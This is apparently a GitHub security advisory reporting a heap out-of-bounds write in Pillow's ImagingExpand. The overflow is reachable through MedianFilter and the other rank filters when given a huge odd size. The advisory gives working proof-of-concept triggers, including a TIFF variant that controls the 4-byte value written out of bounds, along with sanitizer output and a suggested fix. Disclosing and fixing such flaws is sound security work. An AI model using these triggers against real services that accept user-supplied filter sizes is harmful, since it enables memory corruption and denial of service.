GHSA-xj96-63gp-2gmr

### Summary

Pillow's public rank-filter API can trigger a native heap out-of-bounds write when given a very large odd filter size.

Minimal public API trigger:

```python from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ```

`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)` before rank-filter size validation. With `size = 4294967295`, the expansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes the output dimensions with unchecked signed `int` arithmetic. On tested builds, this wraps to a tiny output image and the border-expansion loop writes past the allocation.

This is reachable through documented public classes (`RankFilter`, `MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom Python object is needed.

### Details

Current `src/PIL/ImageFilter.py`:

```python class RankFilter(Filter): def filter(self, image): if image.mode == "P": msg = "cannot filter palette images" raise ValueError(msg) image = image.expand(self.size // 2, self.size // 2) return image.rankfilter(self.size, self.rank) ```

The `expand()` call is made before `image.rankfilter(...)`.

Current `src/libImaging/Filter.c:ImagingExpand()` does not check output-size overflow:

```c if (xmargin < 0 && ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); }

imOut = ImagingNewDirty( imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin ); ```

For a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size wraps to `1x1` on tested builds. The following loop still uses the huge margin:

```c for (x = 0; x < xmargin; x++) { imOut->image[yout][x] = imIn->image[yin][0]; } ```

`src/libImaging/RankFilter.c` does contain checks that would reject this size:

```c if (!(size & 1)) { return (Imaging)ImagingError_ValueError("bad filter size"); } if (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) { return (Imaging)ImagingError_ValueError("filter size too large"); } ```

But those checks are reached only after `RankFilter.filter()` has already called `image.expand(...)`.

Mode `"L"` produces 1-byte OOB stores. Modes `"I"` and `"F"` produce 4-byte OOB stores. The repeated value written OOB is copied from the source image border pixel, so attacker-supplied image bytes can influence it. This is a sequential overwrite, not an arbitrary-address write.

### PoC

Minimal ASAN crash PoC:

```python from PIL import Image, ImageFilter

im = Image.new("L", (3, 3), 128) im.filter(ImageFilter.MedianFilter(4294967295)) ```

Observed on local Pillow `12.3.0.dev0` ASAN target:

```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 1 ImagingExpand /out/src/src/libImaging/Filter.c:99 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 1-byte allocation ```

4-byte write variant with source pixel loaded from normal image bytes:

```python from io import BytesIO from PIL import Image, ImageFilter

SIZE = 4294967295 PIXEL = 0x41424344

src = BytesIO() Image.new("I", (3, 3), PIXEL).save(src, format="TIFF")

im = Image.open(BytesIO(src.getvalue())) im.load() assert im.mode == "I" assert im.getpixel((0, 0)) == PIXEL

im.filter(ImageFilter.MedianFilter(SIZE)) ```

Observed ASAN signature:

```text ERROR: AddressSanitizer: heap-buffer-overflow WRITE of size 4 ImagingExpand /out/src/src/libImaging/Filter.c:101 _expand_image /out/src/src/_imaging.c:1100 0 bytes after a 4-byte allocation ```

Version checks:

```text Pillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime Pillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public validation order and unchecked ImagingExpand arithmetic upstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected ```

### Impact

It is a heap out-of-bounds write in Pillow's native C extension, reachable through public image-filter classes.

Applications are impacted if an untrusted user can control the rank-filter size/configuration passed to Pillow. If the image is also attacker-supplied, the source pixel value written out of bounds can be attacker-influenced, including 4-byte values for mode `"I"` images.

## Possible fix

Validate the rank-filter size before calling `image.expand(...)`, and harden `ImagingExpand()` against invalid margins and overflow:

```c if (xmargin < 0 || ymargin < 0) { return (Imaging)ImagingError_ValueError("bad kernel size"); } if (xmargin > (INT_MAX - imIn->xsize) / 2 || ymargin > (INT_MAX - imIn->ysize) / 2) { return (Imaging)ImagingError_ValueError("bad kernel size"); } ```